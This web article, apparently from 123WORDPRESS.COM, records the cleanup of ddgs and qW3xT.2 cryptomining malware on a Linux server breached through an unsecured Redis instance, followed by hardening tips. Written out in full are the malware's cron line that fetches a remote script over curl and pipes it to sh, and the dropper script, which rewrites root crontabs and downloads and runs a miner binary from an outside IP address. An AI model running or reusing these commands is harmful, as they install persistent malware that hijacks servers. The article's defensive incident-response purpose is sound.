A practical record of handling the ddgs and qW3xT.2 mining viruses implanted in Linux servers

A practical record of handling the ddgs and qW3xT.2 mining viruses implanted in Linux servers

Preface

With the crazy speculation of virtual currency, mining viruses have become one of the most frequently used attack methods by criminals. Virus spreaders can use personal computers or servers to mine. The specific phenomena are high computer CPU usage, a sudden drop in the available space of the C drive, increased computer temperature, increased fan noise and other problems.

This article mainly introduces the treatment methods of DDGS and qW3xT.2 mining viruses implanted in Linux. Let’s take a look at the detailed introduction.

Phenomenon after being invaded:

Two abnormal processes, qW3xT.2 and ddgs, were found. They consumed a high CPU and reappeared after a while after being killed.

After killing these two abnormal processes, the following processes were seen after a while:

First, the scheduled task in /etc/sysconfig/crotnab did not find the scheduled script, and entered crontab -e to find the scheduled task.

*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
<span style="font-size: 15px;">I checked that 149.56.106.215 is in the United States, and the content of the i.sh script is as follows:</span>
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
 wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
 curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

Treatment method:

1. Delete crontab -e

*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

2. Clear the password-free login content set by hackers in /root/.ssh/authorized_keys

3. Change the redis password

4. Modify the root and login account passwords

Safety Tips:

1. Configure the bind option to limit the IP that can connect to the Redis server, modify the default port 6379 of Redis, configure authentication, that is, AUTH, and set the password. The password will be saved in plain text in the Redis configuration file

2. Configure the rename-command configuration item "RENAME_CONFIG" so that even if there is unauthorized access, it will be more difficult for attackers to use the config command

3. If you can block the redis external network in the firewall

Intrusion method:

After collecting relevant information, we learned that the hacker was intruder due to the use of a redis vulnerability, no password was set or the password was too simple. For specific methods, please refer to

https://www.jb51.net/article/147375.htm

The reids password modification method is as follows:

redis-cli -h 127.0.0.1 -p 6379
config get requirepass ##Get the current password config set requirepass "yourpassword" ##Set the current password. After the service is restarted, it will be set to the default, that is, no password;

To make it permanent, open the redis configuration file redis.conf, find the requirepass value and change the password as follows:

requirepass yourpassword ##Note that there should be no spaces before the line

Summarize

The above is the full content of this article. I hope that the content of this article will have certain reference learning value for your study or work. If you have any questions, you can leave a message to communicate. Thank you for your support for 123WORDPRESS.COM.

You may also be interested in:
  • Implementation code for closing ports 135, 137, 445, etc. through batch processing (ransomware virus)
  • Analysis of the Virus Principle of a VBS Script Virus
  • PHP web virus removal class
  • A complete example of a virus killer tool implemented by VC
  • Use DOS commands to fight USB virus and protect USB data
  • Homemade batch code to kill USB disk viruses
  • Analysis of the principle of C virus program (example of small virus in C language to prevent virus)
  • Analysis: Clear SQL statements that have been injected with malicious virus code
  • Autorun virus removal tool bat code
  • VBS.Runauto Script Virus Analysis
  • A VBS code commonly used by viruses
  • How to detect and kill the Notepad.exe virus
  • How to detect and kill the beauty game virus iwbkvd.exe
  • Batch Autorun Virus Removal Tool
  • Rootkit virus solution

<<:  How to add fields to a large data table in MySQL

>>:  SQL GROUP BY detailed explanation and simple example

Recommend

Front-end advanced teaching you to use javascript storage function

Table of contents Preface Background Implementati...

VMware virtual machine to establish HTTP service steps analysis

1. Use xshell to connect to the virtual machine, ...

Introduction to MySQL role functions

Table of contents Preface: 1. Introduction to rol...

Detailed explanation of Vue custom instructions

Table of contents Vue custom directive Custom dir...

MySQL master-slave configuration study notes

● I was planning to buy some cloud data to provid...

MySQL 5.7 cluster configuration steps

Table of contents 1. Modify the my.cnf file of se...

The concept and characteristics of MySQL custom variables

A MySQL custom value is a temporary container for...

VUE+Canvas realizes the whole process of a simple Gobang game

Preface In terms of layout, Gobang is much simple...

js to achieve simple front-end paging effect

Some projects have relatively simple business, bu...

Solution to Nginx 500 Internal Server Error

Today, when I was using Nginx, a 500 error occurr...

Optimize the storage efficiency of BLOB and TEXT columns in InnoDB tables

First, let's introduce a few key points about...

Installation of mysql-community-server. 5.7.18-1.el6 under centos 6.5

Use the following command to check whether MySQL ...